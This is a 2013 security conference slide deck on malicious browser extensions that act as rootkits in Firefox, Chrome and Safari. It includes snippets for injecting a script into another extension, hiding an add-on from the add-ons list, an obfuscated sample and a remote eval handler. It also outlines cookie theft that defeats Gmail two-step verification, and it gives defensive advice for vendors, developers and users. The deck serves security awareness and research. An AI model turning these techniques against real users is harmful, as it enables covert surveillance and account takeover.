

# Introduction

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Cyberlympics finals 2012 - 2nd runner up

Member of the gula.sh team

# I love Hacking



# I love Zombie movies



# I love LOLcats



Zombies + Hacking + LOLcats  
= I R ZOMBIE BROWSER



# Zombie browsers, spiced with rootkit extensions

## OWASP 2013

Legal disclaimer:

Every point of views and thoughts are mine.

The next presentation's contents do not have any connection with my employers opinion, whether past, present or future.

What you will hear can be only used in test labs, and only for the good.

# About:presentation


History of malicious extensions (add-on, plug-in, extension, BHO)

Focus on Firefox, Chrome, Safari

Advantages – disadvantages

Browser extension rootkits

Live demo – home made extension




# History of malicious Firefox extensions

90% of malicious extensions were created for Facebook spamming

2004-2010: 5

2011: 5

2012: 56\*



\*Data from mozilla.org



## More examples on Facecrook

Update Required

You Tube An update for YouTube Player is needed  
Update needed to view media

The Flash Player 10.1 update includes:

- Smoother video
- Enhanced performance
- Support for more devices
- Private browsing mode

Updating takes under 1 minute

Confirm Installation

Install YouTube Extension?

It can access:

- Your data on all websites
- Your tabs and browsing activity

Install Cancel

©f-secure

# My zombie extension

Command and Control



Stealing cookies, passwords



Uploading/downloading files (Firefox,  
Chrome NPAPI on todo list)




Binary execution (Firefox - Windows,  
Chrome NPAPI on todo list)



Geolocation




## The Evil Company




## Evil defensive solutions

- Firewall
- Webfilter
- Application whitelisting
- AV
- HIPS
- WTF

# Zombie browser



# Zombie browser




**CREATE CHROME AND SAFARI EXTENSION?**



**CHALLENGE ACCEPTED**

memegenerator.net

# Zombie browser



# Safari demo



# Installing the extension

Physical access  
Social Engineering  
Remote code execution – without  
user interaction

# Firefox rootkit 1


Hook into other extension (even signed ones)

```
<!DOCTYPE overlay SYSTEM "
chrome://flashx/locale/browserOverlay.dtd">
<overlay id="flashx-browser-overlay" xmlns="
http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="
chrome://flashx/content/browserOverlay.js" />
<script type="application/x-javascript" src="
chrome://flashx/content/evil.js" />
</overlay>
```

| content            |                   |                     |  |
|--------------------|-------------------|---------------------|--|
| Name               | Date modified     | Type                |  |
| browserOverlay.js  | 2012.07.24. 16:18 | JScript Script File |  |
| browserOverlay.xul | 2012.04.25. 9:18  | XUL File            |  |
| evil.js            | 2012.08.12. 14:38 | JScript Script File |  |
| update.rdf         | 2012.03.01. 9:05  | RDF File            |  |

# Firefox rootkit 2

visible = false



# Firefox rootkit 3

seen in the wild

```
// rootkit functionality

function rm(list) {
    var addons = list.childNodes;
    for(var i = 0; i < addons.length; ++i)
        if(addons[i].getAttribute('name') == 'Zombiebrowser')
            list.removeChild(addons[i]);
}
```

# Risks of a Zombie Browser

Eats your brain while you are asleep

# Risks of a Zombie Browser

# Risks of a Zombie Browser

Firewall/proxy ☠

Local firewall ☠

Application whitelisting ☠

Web-filtering ☠

# Risks of a Zombie Browser

Cross-platform ☠

Cross-domain Universal XSS ☠

Every secret is available ☠

Password input method does not matter (password safe, virtual keyboard, etc.)

Before SSL (+JS obfuscation)

Malicious source codes are available ☠

Advantage against meterpreter ☠

exe/dll is not needed for persistence

Writing into registry is not needed

# Risks of a zombie browser

Low AV signature based detection rate ☠

Sample from January 2011. – February 2013



SHA256: 4c58c7e75e54940d409b2e8c59bad7f825435fd2f6570a5dc103a8a6bb640c16

File name: BrowserUpdate.xpi

Detection ratio: 0 / 46

Analysis date: 2013-02-17 10:59:19 UTC ( 1 minute ago )

More details

Extension vs. behavioral based detection ☠

# Friendly message to AV developers: try harder...


Code snippets from undetected malicious browser extension

```
var  
_0x39fe=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65  
\x45\x6C\x65\x6D\x65\x6E  
\x74","\x74\x79\x70\x65","\x74\x65\x78\x74...  
_0xaed4=[_0x39fe[0],_0x39fe[1],_0x39fe[2],_0x39fe[3],_0x39fe[4],_0x39f  
e[5],_0x39fe[6],_0x39fe[7],_0x39fe[8],_0x39fe[9]];
```

keylogger\_namespace.keylogger...

```
for(var x in mothership){if (mothership[x].command == "eval")  
{eval(mothership[x].data);
```

# Profit ...



# Firefox



# Disadvantages (for the Hacker)

Not a real rootkit

Browser limitations (eg. portscan)

Platform limitations (eg. Execute binary code only on Windows)

Runs in user space

Runs only when browser is open

Extensions are not yet supported in:

Chrome on Android/iOS

Safari on iOS

# Gmail demo

defeat 2 step verification

Why Google?

Hacking “the others” is boring

clear text cookies

missing 2 step verification

no concurrent session detection

# Gmail demo

defeat 2 step verification

# One **Cookie** to rule them all

Cookie + password stealing – defeat Google 2-step verification

Use password reset on other sites linked to G-mail (Paypal, etc.)

Install any app from Google Play to victim's Android phone

Access Android WIFI passwords

Access to Google+, Docs, Picasa, Blogger, Contacts, Web history, Checkout, Apps, OpenID

Backdooring Google account

Adding application specific password

Stealing backup codes

G-mail mail forward rule

# Chrome - rootkit




# Zombie Android


## DEMO

Android SQLite Journal Information  
Disclosure (CVE-2011-3901)

Android 2.3.7



# Zombie browser – attacking internal web servers



# Firefox webcam



# Browser extensions might be bad

@antivirus developers

Be reactive

The browser is the new OS

@browser developers (Mozilla)

Default deny installing extensions from 3rd-party sites

Chrome-level security

Require permissions

Extension components – separate privileges


@browser developers (Google) – keep on the good job

but disable NPAPI :)

# Browser extensions might be bad

- @website developers
  - There is no prevention against password stealing
  - Cookie-stealing
  - Restrict session to IP (by default)
- @users
  - Beware of malicious browser extensions
  - Use separated OS for e-banking and other sensitive stuff
  - Removing malicious extensions - create new clean profile in clean OS
- @companies
  - Control which browsers users can use
  - Restrict extensions via GPO

One more thing ...



https://login.live.com/

Microsoft ...

Sign in to your Micr...



Message from webpage



Hello IE World!

OK

Sign in

Can't access your account?

Sign in with a single-use code

account, our priority  
curity information helps protect your account

# References

Grégoire Gentil: Hack any website, 2003

Christophe Devaux, Julien Lenoir: Browser rootkits, 2008

Duarte Silva: Firefox FFSpy PoC, 2008

Andreas Grech: Stealing login details with a Google Chrome extension, 2010

Matt Johansen, Kyle Osborn: Hacking Google ChromeOS, 2011

Nicolas Paglieri: Attacking Web Browsers, 2012

# Browser extensions might be bad, Mmmkay???



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Code released under GPL  
[http://github.com/Z6543/  
ZombieBrowserPack](http://github.com/Z6543/ZombieBrowserPack)

Greetz to [@hekkcamp](https://twitter.com/hekkcamp)